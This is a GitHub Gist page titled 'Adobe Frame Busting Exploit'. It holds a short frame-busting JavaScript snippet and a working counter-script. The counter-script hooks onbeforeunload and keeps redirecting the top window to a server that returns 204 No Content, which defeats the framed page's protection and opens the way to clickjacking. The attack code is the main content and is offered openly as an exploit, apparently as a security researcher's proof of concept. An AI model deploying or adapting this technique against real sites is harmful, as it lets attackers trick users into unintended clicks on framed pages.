-
-
Save melvinsh/20efd8d477f235b08142181a13c5f77c to your computer and use it in GitHub Desktop.
Adobe Frame Busting Exploit
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if (top!=self){ | |
top.location.href=self.location.href; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var kill = 0; | |
window.onbeforeunload = function() { kill++; } | |
setInterval(function() { | |
if (kill > 0) { | |
kill -= 2; | |
// A Web Server that serves a 204 - No Content | |
window.top.location = "http://test.skepticfx.com/204.php"; | |
} | |
}, 1) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment